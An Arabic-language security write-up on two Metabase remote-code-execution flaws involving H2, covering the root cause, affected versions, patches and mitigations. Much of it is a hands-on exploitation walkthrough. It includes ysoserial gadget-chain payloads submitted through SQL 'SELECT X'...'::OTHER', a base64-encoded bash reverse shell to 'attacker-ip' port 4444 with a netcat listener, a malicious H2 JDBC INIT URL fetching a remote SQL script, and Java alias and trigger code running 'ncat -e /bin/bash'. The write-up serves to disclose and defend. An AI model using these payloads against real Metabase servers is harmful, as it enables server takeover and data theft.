
مدونة حول CVE-2026-59827، إلغاء تسلسل غير آمن لمخرجات استعلام H2
GHSA-w95f-x9v9-wv36 | CVSS 9.9 حرج | CWE-502: إلغاء تسلسل بيانات غير موثوقة
CVE-2026-59827 هي ثغرة أمنية حرجة لتنفيذ التعليمات البرمجية عن بُعد في Metabase، منصة الذكاء التجاري وتحليل البيانات مفتوحة المصدر الشهيرة. يكمن الخلل في كيفية معالجة Metabase لنتائج الاستعلامات التي يعيدها اتصال قاعدة بيانات H2. عندما يُعيد استعلام SQL أصلي ضد مصدر H2 عمودًا مكتوبًا على أنه OTHER، يقوم Metabase بإلغاء تسلسل البايتات الخام لذلك العمود إلى كائن Java دون إجراء أي تحقق. لذلك، يمكن لمستخدم موثَّق يمكنه تشغيل استعلامات أصلية أن يُهرِّب حمولة متسلسلة ضارة إلى مجموعة النتائج ويُؤدي إلى تنفيذ تعليمات برمجية عشوائية على الخادم الذي يستضيف Metabase.
تم تخصيص درجة CVSS تبلغ 9.9 للثغرة، مما يعكس الشروط المسبقة البسيطة المطلوبة وتنفيذ التعليمات البرمجية الكامل على جانب الخادم الناتج عن الاستغلال الناجح.
تُصدر Metabase مسارين إصدارين متوازيين من نفس دورة الإصدار. تستخدم النسخة مفتوحة المصدر أرقام إصدارات مسبوقة بالرقم 0 — على سبيل المثال، v0.61.1. تستخدم النسخة المؤسسية (التجارية) أرقام إصدارات مسبوقة بالرقم — على سبيل المثال، . تشترك كلا النسختين في نفس قاعدة التعليمات البرمجية الأساسية ويتم إصدارهما معًا، لذا فإن الثغرة التي تؤثر على تؤثر أيضًا على . في جميع أنحاء هذا التقرير، تُكتب أرقام الإصدارات باستخدام البادئة للمؤسسية، ولكن كل إصدار متأثر يُرتبط مباشرة بنظيره مفتوح المصدر عن طريق استبدال البادئة بـ .
1v1.61.1v1.61.0v0.61.01.xx0.xx10تم الكشف عن كل من CVE-2026-59826 و CVE-2026-59827 معًا في يوليو 2026. يتشاركان نطاقات إصدارات متداخلة لكن لهما نقاط تصحيح مختلفة.
الإصدارات المؤسسية الثغرة هي 1.58.0 حتى 1.58.14، و 1.59.0 حتى 1.59.11، و 1.60.0 حتى 1.60.6.2، و 1.61.0 حتى 1.61.1.3. الإصدارات مفتوحة المصدر المقابلة هي 0.58.0 حتى 0.58.14، و 0.59.0 حتى 0.59.11، و 0.60.0 حتى 0.60.6.2، و 0.61.0 حتى 0.61.1.3.
تم إصدار تصحيح داخلي لأول مرة كـ 1.61.1.4 (مؤسسية) و 0.61.1.4 (مفتوحة المصدر). أول إصدار مُصحَّح متاح للجمهور في سلسلة 1.61 هو 1.61.2 (v1.61.2.x / v0.61.2.x). تم تصحيح مثيلات Metabase Cloud تلقائيًا بواسطة المزود.
الإصدارات المؤسسية الثغرة هي 1.55.0 حتى 1.58.15.0، و 1.59.0 حتى 1.59.11، و 1.60.0 حتى 1.60.6.2، و 1.61.0 حتى خط 1.61.1.x بأكمله. أول إصدار عام مُصحَّح بالكامل هو 1.61.2 (v1.61.2.x / v0.61.2.x). نطاق CVE-2026-59826 أوسع، حيث يعود إلى خط إصدار 1.55، مما يعكس وجود مسار التعليمات البرمجية لإنشاء قاعدة البيانات غير المُتحقق منه بشكل كافٍ لفترة أطول.
تسمح آلية التسلسل في Java بتحويل كائن في الذاكرة إلى تيار مسطح من البايتات، وتخزينه أو نقله، ثم إعادة بنائه لاحقًا عن طريق استدعاء ObjectInputStream.readObject(). الخاصية الحرجة لهذه الآلية هي أن إعادة البناء تنفذ تعليمات برمجية. يتم تشغيل مُنشئي الفئات، وتجاوزات readObject، ومُحررات النهائيات أثناء إلغاء التسلسل. إذا كانت البايتات المقروءة تأتي من مصدر غير موثوق، يمكن للمهاجم تشكيلها لتفعيل استدعاءات طرق عشوائية من خلال سلسلة من الفئات الشرعية الموجودة بالفعل في JVM. تُعرف هذه التسلسلات باسم سلاسل الأدوات (gadget chains).
لا تتطلب سلاسل الأدوات إدخال أي تعليمات برمجية جديدة إلى التطبيق. إنها تستغل توصيلات فئات المكتبات الموجودة التي تؤدي طرقها العادية، عند استدعائها بالترتيب الصحيح أثناء إلغاء التسلسل، في النهاية إلى مغسلة مثل Runtime.exec(). توجد أدوات مثل ysoserial خصيصًا لتوليد هذه الحمولات للمكتبات المنشورة على نطاق واسع مثل Apache Commons Collections و Spring Framework وغيرها.
H2 هي قاعدة بيانات علائقية مدمجة نقية بلغة Java. تحدد نوع عمود SQL خاص يسمى OTHER يعمل كمرور عابر لكائنات Java عشوائية. عندما يخزن H2 قيمة في عمود OTHER، فإنه يكتب البايتات التي ينتجها ObjectOutputStream في Java. عندما يعيد قراءة القيمة، يستدعي ObjectInputStream.readObject() لإعادة بناء الكائن. يمكن أيضًا توفير البايتات المتسلسلة الخام مباشرة في استعلام باستخدام بناء جملة النص الست عشري الخاص بـ H2:
SELECT CAST(X'ACED0005...' AS OTHER);
-- أو
SELECT X'ACED0005...'::OTHER;
البادئة ACED متبوعة بـ 0005 هي الرقم السحري لتيار تسلسل Java وإصدار البروتوكول. أي سلسلة ست عشرية تبدأ بـ ACED0005 هي تيار كائن Java متسلسل.
عندما يقوم H2 بمعالجة هذا الاستعلام، فإنه يقوم بإلغاء تسلسل البايتات الست عشرية على جانب قاعدة البيانات. يتم بعد ذلك تمرير الكائن الناتج مرة أخرى إلى التطبيق المُستدعٍ من خلال ResultSet الخاص بـ JDBC. إذا فحص التطبيق قيمة العمود — على سبيل المثال، لتنسيقه للعرض — فقد يؤدي ذلك إلى معالجة إضافية. هذا هو بالضبط ما يفعله Metabase في مسار التعليمات البرمجية الثغرة.
يتلقى Metabase كائن ResultSet من برنامج تشغيل JDBC الخاص بـ H2 ويفحص بيانات تعريف الأعمدة ليقرر كيفية عرض كل قيمة للمستخدم. عندما يواجه عمودًا من نوع JDBC Types.OTHER (يُبلغ عنه أيضًا باسم JAVA_OBJECT)، تحاول الإصدارات الثغرة من Metabase إلغاء تسلسل البايتات الخام لإنتاج تمثيل قابل للعرض. يتم تنفيذ استدعاء إلغاء التسلسل هذا، ObjectInputStream.readObject()، دون أي تصفية قائمة بيضاء أو التحقق من الفئة.
تسلسل الأحداث هو:
OTHER يحتوي على حمولة متسلسلة مصممة.JAVA_OBJECT في ResultSet.OTHER ويستدعي readObject() على البايتات.Runtime.exec() وتنفذ أمر المهاجم كمستخدم نظام التشغيل الذي يقوم بتشغيل عملية Metabase.تحل الإصدارات المُصحَّحة المشكلة عن طريق فحص بيانات تعريف نتائج JDBC قبل محاولة أي إلغاء تسلسل. إذا تمت كتابة عمود على أنه JAVA_OBJECT، يرفضه Metabase مباشرة بدلاً من محاولة تحليله.
يتطلب الاستغلال توثيقًا. يجب أن يمتلك المهاجم حساب Metabase مع إذن تنفيذ استعلام أصلي على قاعدة بيانات مدعومة بـ H2. حسابات المسؤول تلبي هذا افتراضيًا. يمكن لحسابات المستخدمين العادية أيضًا تلبية هذا المطلب إذا كان المسؤول قد منحهم إذن البيانات للاستعلامات الأصلية لقاعدة البيانات ذات الصلة.
أزال Metabase دعم إضافة H2 كاتصال جديد بمستودع البيانات في الإصدار 0.46.6.4، الذي تم إصداره في عام 2023. محاولة تسجيل اتصال H2 جديد من خلال واجهة المسؤول تُعيد الخطأ "H2 غير مدعوم كمستودع بيانات." كان هذا الإزالة استجابة لثغرات سابقة متعلقة بـ H2 وكان يهدف إلى القضاء على خطر الاتصال بمثيلات H2 التي يسيطر عليها المهاجم.
ومع ذلك، فإن إزالة H2 من واجهة اتصال مستودع البيانات ليس هو نفس إزالة H2 من Metabase. لا يزال هناك قاعدتا بيانات H2 موجودتان في كل تثبيت افتراضي لـ Metabase.
الأولى هي قاعدة بيانات التطبيق. عندما لا يتم تكوين Metabase لاستخدام قاعدة بيانات خارجية مثل PostgreSQL أو MySQL، فإنه يخزن بياناته الوصفية — الأسئلة ولوحات المعلومات وحسابات المستخدمين والإعدادات — في ملف H2 في /metabase-data/metabase.db.mv.db. لا يمكن الاستعلام عن قاعدة البيانات هذه مباشرة من خلال واجهة المستخدم الخاصة بـ Metabase.
الثانية، والأكثر قابلية للاستغلال مباشرة، هي قاعدة البيانات التجريبية. أثناء الإعداد الأولي، يقوم Metabase بإنشاء قاعدة بيانات H2 معبأة مسبقًا ببيانات نموذجية ويجعلها متاحة كاتصال "قاعدة البيانات التجريبية". هذا الاتصال موجود افتراضيًا في كل مثيل Metabase وهو سطح الهجوم الأساسي لـ CVE-2026-59827. إنه اتصال H2 مباشر يمكن للمستخدمين تشغيل استعلامات SQL أصلية ضده، وسلسلة الاتصال الظاهرة في لوحة المسؤول تشير إلى file:/plugins/sample-database.db.
تفرض قاعدة البيانات التجريبية وصولًا للقراءة فقط لجميع المستخدمين، بما في ذلك المسؤولين. تسمح صفحة إعدادات قاعدة البيانات في Metabase على http://localhost:3000/admin/databases بمنح إذن الكتابة على قواعد البيانات المتصلة، لكن المفتاح غير متاح لقاعدة البيانات التجريبية. هذا يعني أنه لا يمكن تنفيذ عبارات لغة معالجة البيانات (DML) مثل CREATE و UPDATE و DELETE ضد قاعدة البيانات التجريبية من خلال الوسائل العادية.

هذا التقييد مهم لأنه يغلق بعض مسارات الهجوم البديلة. على سبيل المثال، يدعم محرك H2 عبارة CREATE ALIAS التي يمكنها تعريف دالة Java واستدعائها:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
نظرًا لأن الوصول للكتابة مقفل على قاعدة البيانات التجريبية، فإن مسار DDL هذا غير متاح. مسار إلغاء التسلسل من خلال SELECT CAST(X'...' AS OTHER) هو المتجه القابل للاستغلال القابل للتطبيق تحديدًا لأنه يتطلب فقط عبارة SELECT، المسموح بها لجميع المستخدمين.
لاختبار هذه الثغرة في بيئة مختبرية خاضعة للتحكم، قم بتشغيل إصدار Metabase ضمن النطاق المتأثر:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
سيتم تهيئة Metabase على http://localhost:3000، وإنشاء قاعدة بيانات تطبيق H2 في /metabase-data/metabase.db.mv.db، وتوفير قاعدة البيانات التجريبية تلقائيًا. أكمل إعداد الحساب الأولي للحصول على جلسة موثَّقة. بعد الإعداد، انتقل إلى محرر SQL لقاعدة البيانات التجريبية. هذه هي بيئة تنفيذ الاستغلال.
قبل محاولة تنفيذ الأوامر، تأكد من أن مسار إلغاء التسلسل يمكن الوصول إليه. تُنشئ سلسلة الأدوات URLDNS من ysoserial حمولة تؤدي، عند إلغاء تسلسلها، إلى إجراء بحث DNS صادر إلى اسم مضيف محدد. لا تقوم بتنفيذ أي أوامر نظام، مما يجعلها دليلاً آمنًا لتأكيد أن readObject() يتم استدعاؤها بالفعل.
أنشئ الحمولة:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
ينتج عن هذا سلسلة ست عشرية تبدأ بـ aced0005. مثال على الإخراج الست عشري من حمولة ملتقطة:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
افتح محرر SQL في Metabase ضد قاعدة البيانات التجريبية وقم بتشغيل ما يلي، مع استبدال السلسلة الست عشرية التي تم إنشاؤها باسم مضيف OAST الخاص بك:
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
راقب مستمع OAST الخاص بك. استلام استعلام DNS من عنوان IP لخادم Metabase يؤكد أنه تم استدعاء readObject() وأن إلغاء التسلسل يحدث على عمود OTHER.


أي سلسلة أدوات تحقق تنفيذ التعليمات البرمجية يعتمد على مكتبات Java الموجودة في مسار الفئة لخادم Metabase. جرب السلاسل التالية بالتسلسل:
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
قم بتحويل كل حمولة ثنائية إلى التنسيق الست عشري المطلوب لاستعلام SQL:
xxd -p payload.bin | tr -d '\n' > payload.hex
ثم أرسلها باستخدام نفس نمط SELECT X'...'::OTHER في محرر SQL الخاص بـ Metabase ولاحظ ما إذا كان إخراج الأمر ينعكس في أي رسالة خطأ أو استجابة.
بمجرد تحديد سلسلة أدوات عاملة، استبدل أمر الاختبار بالحمولة المطلوبة. للحصول على شل عكسي، قم بتشفير الأمر في base64 لتجنب مشكلات الاقتباس في الصدفة:
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
أنشئ حمولة ysoserial بنمط التنفيذ المُفكَّك base64:
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
قم بإعداد المستمع قبل إرسال الاستعلام:
nc -lvnp 4444
ثم الصق الست عشري في محرر SQL:
SELECT X'<paste hex string here>'::OTHER;
عندما يعالج Metabase مجموعة النتائج ويواجه عمود OTHER، ينطلق readObject()، وتُنفَّذ سلسلة الأدوات، ويتصل الشل العكسي.
إذا ظهر InvalidClassException، فإن سلسلة الأدوات تعتمد على إصدار مكتبة لا يتطابق مع الموجود على الخادم. جرب سلسلة مختلفة.
إذا لم يحدث شيء بعد إرسال الاستعلام، فإما أن المثيل قد تم تصحيحه بالفعل، أو أن مرشحات التسلسل JEP 290 نشطة وتمنع سلسلة الأدوات، أو أن نوع العمود OTHER لا تتم معالجته بواسطة مسار التعليمات البرمجية الثغرة.
إذا ظهر ClassNotFoundException، فإن المكتبة المطلوبة غائبة تمامًا عن مسار الفئة. جرب سلسلة مختلفة.
على إخراج واجهة المستخدم، ستحصل فقط على الخطأ We're experiencing server issue:

CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) هي ثغرة ذات صلة تم الكشف عنها في نفس الوقت. بينما تستغل CVE-2026-59827 إلغاء التسلسل من خلال نتائج الاستعلامات، تستهدف CVE-2026-59826 مسار تعليمات برمجية منفصل: نقطة نهاية تسجيل قاعدة البيانات. يمكن للمسؤول الموثَّق إرسال عنوان URL اتصال JDBC مُصمم لـ H2 يحتوي على معامل INIT يتم تنفيذه عند إنشاء الاتصال. نظرًا لأن التحقق المطبق على حقل INIT كان غير كافٍ على بعض مسارات إنشاء قاعدة البيانات وتحرير قاعدة البيانات، يمكن للمهاجم الذي لديه وصول المسؤول تحقيق RCE من خلال سلسلة الاتصال بدلاً من الاستعلام.
يأخذ عنوان URL اتصال INIT الضار شكلاً مثل:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
يمكن لملف SQL الذي يخدمه المهاجم تعريف واستدعاء اسم مستعار لـ Java ينفذ أوامر الصدفة:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
بدلاً من ذلك، يمكن لسلسلة INIT تضمين المشغل مباشرة دون جلب ملف عن بُعد:
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
تشترك كل من CVE-2026-59826 و CVE-2026-59827 في نفس السبب الجذري — تقوية غير كافية حول ميزات التنفيذ من جانب الخادم لـ H2 — لكنهما تختلفان في مسارات التعليمات البرمجية المحددة المستغلة ومستوى الامتياز المطلوب.
قم بترقية Metabase إلى أحد الإصدارات المُصحَّحة التالية: 1.58.15، أو 1.59.12، أو 1.60.6.3، أو 1.61.1.4. تعمل هذه الإصدارات على تعديل خط معالجة النتائج لفحص بيانات تعريف أعمدة JDBC ورفض معالجة أي عمود يُبلغ عنه على أنه من نوع JAVA_OBJECT أو OTHER، مما يمنع استدعاء إلغاء التسلسل من الحدوث.
إذا لم يكن الترقية الفورية ممكنة، فقم بتقييد أذونات الاستعلامات الأصلية. قم بإزالة إذن تنفيذ الاستعلام الأصلي من جميع المستخدمين غير الإداريين لقواعد البيانات المدعومة بـ H2، بما في ذلك قاعدة البيانات التجريبية. هذا يقلل من سطح الهجوم إلى حسابات مستوى المسؤول فقط. بشكل منفصل، ضع في اعتبارك ما إذا كانت قاعدة البيانات التجريبية ضرورية على الإطلاق؛ تعطيلها أو إزالتها يلغي سطح هجوم H2 لهذا CVE بالكامل.
بالنسبة للمثيلات المستضافة ذاتيًا التي تستخدم H2 كقاعدة بيانات للتطبيق، توصي وثائق Metabase الخاصة بالترحيل إلى PostgreSQL أو MySQL كخلفية قاعدة بيانات تطبيق أكثر قوة وأمانًا.